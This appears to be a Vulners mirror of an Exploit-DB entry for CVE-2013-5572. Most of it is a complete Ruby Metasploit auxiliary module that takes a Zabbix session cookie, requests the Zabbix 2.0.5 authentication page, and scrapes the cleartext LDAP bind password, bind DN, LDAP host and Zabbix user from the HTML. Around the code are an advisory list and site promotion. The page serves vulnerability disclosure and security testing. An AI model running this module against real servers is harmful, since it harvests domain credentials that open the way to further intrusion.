Lucene search
K

Zabbix 2.0.5 - Cleartext ldap_bind_Password Password Disclosure (Metasploit)

🗓️ 23 Feb 2015 00:00:00Reported by Pablo GonzálezType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

Zabbix 2.0.5 LDAP Password Disclosure (Metasploit) allows remote users to discover the LDAP bind password by leveraging management-console access and reading the ldap_bind_password value in the HTML source code

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Zabbix 2.0.5 - Cleartext ldap_bind_password Password Disclosure (MSF) Exploit
23 Feb 201500:00
zdt
ATTACKERKB
CVE-2013-5572
1 Oct 201303:48
attackerkb
CVE
CVE-2013-5572
1 Oct 201301:00
cve
Cvelist
CVE-2013-5572
1 Oct 201301:00
cvelist
Debian CVE
CVE-2013-5572
1 Oct 201301:00
debiancve
EUVD
EUVD-2013-5412
7 Oct 202500:30
euvd
exploitpack
Zabbix 2.0.5 - Cleartext ldap_bind_Password Password Disclosure (Metasploit)
23 Feb 201500:00
exploitpack
Fedora
[SECURITY] Fedora 19 Update: zabbix-2.0.11-3.fc19
1 May 201422:20
fedora
Fedora
[SECURITY] Fedora 20 Update: zabbix-2.0.11-3.fc20
1 May 201422:21
fedora
Tenable Nessus
Fedora 20 : zabbix-2.0.11-3.fc20 (2014-5540)
2 May 201400:00
nessus
Rows per page
##
# This module requires Metasploit
# Date: 25-09-2013
# Author: Pablo González
# Vendor Homepage: Zabbix -> http://www.zabbix.com 
# Software Link: http://www.zabbix.com 
# Version: 2.0.5
# Tested On: Linux (Ubuntu, Suse, CentOS)
# CVE: CVE-2013-5572 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5572
# More Info: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-5572
# 	   http://www.elladodelmal.com/2014/12/como-crear-el-modulo-metasploit-para-el.html
# 	   http://seclists.org/fulldisclosure/2013/Sep/151
#   	   http://www.cvedetails.com/cve/CVE-2013-5572/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ldap_bind_password Zabbix CVE-2013-5572',
      'Description'    => %q{
          Zabbix 2.0.5 allows remote authenticated users to discover the LDAP bind password by leveraging management-console access and reading the ldap_bind_password value in the HTML source code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ '@pablogonzalezpe, Pablo Gonzalez' ]
    ))

    register_options([
      OptString.new('zbx_session', [true, 'Cookie zbx_sessionid']),
	  OptString.new('TARGETURI', [true, 'Path Zabbix Authentication','/zabbix/authentication.php']),
	  OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
    ], self.class)

  end

  def run
    req
  end
  def req
	resp = send_request_cgi(
      {
		'host' => datastore['RHOST'],
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path.to_s),
        'cookie' => "zbx_sessionid=#{datastore['zbx_session']}",
		'content-type' => 'application/x-www-form-urlencoded'
      }, datastore['TIMEOUT'])
	    
	  ldap_host(resp)
	  user_passDomain(resp)
	  user_zabbix(resp)
  end
  
  def ldap_host(response)
	cut = response.body.split("ldap_host\" value=\"")[1]
	if cut != nil
		host = cut.split("\"")[0]
		print_good "LDAP Host => #{host}"
	end
  end
  
  def user_passDomain(response)
	cut = response.body.split("ldap_bind_dn\" value=\"")[1]
	if cut != nil	
		user = cut.split("\"")[0]
		print_good "User Domain? => #{user}"
	end
	cut = response.body.split("name=\"ldap_bind_password\" value=\"")[1]
	if cut != nil
		pass = cut.split("\"")[0]
		print_good "Password Domain? => #{pass}"
	end
  end

  def user_zabbix(response)
	cut = response.body.split("user\" value=\"")[1]
	if cut != nil
		user = cut.split("\"")[0]
		print_good "User Zabbix => #{user}"
	end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Feb 2015 00:00Current
7High risk
Vulners AI Score7
CVSS 23.5
EPSS0.07821
46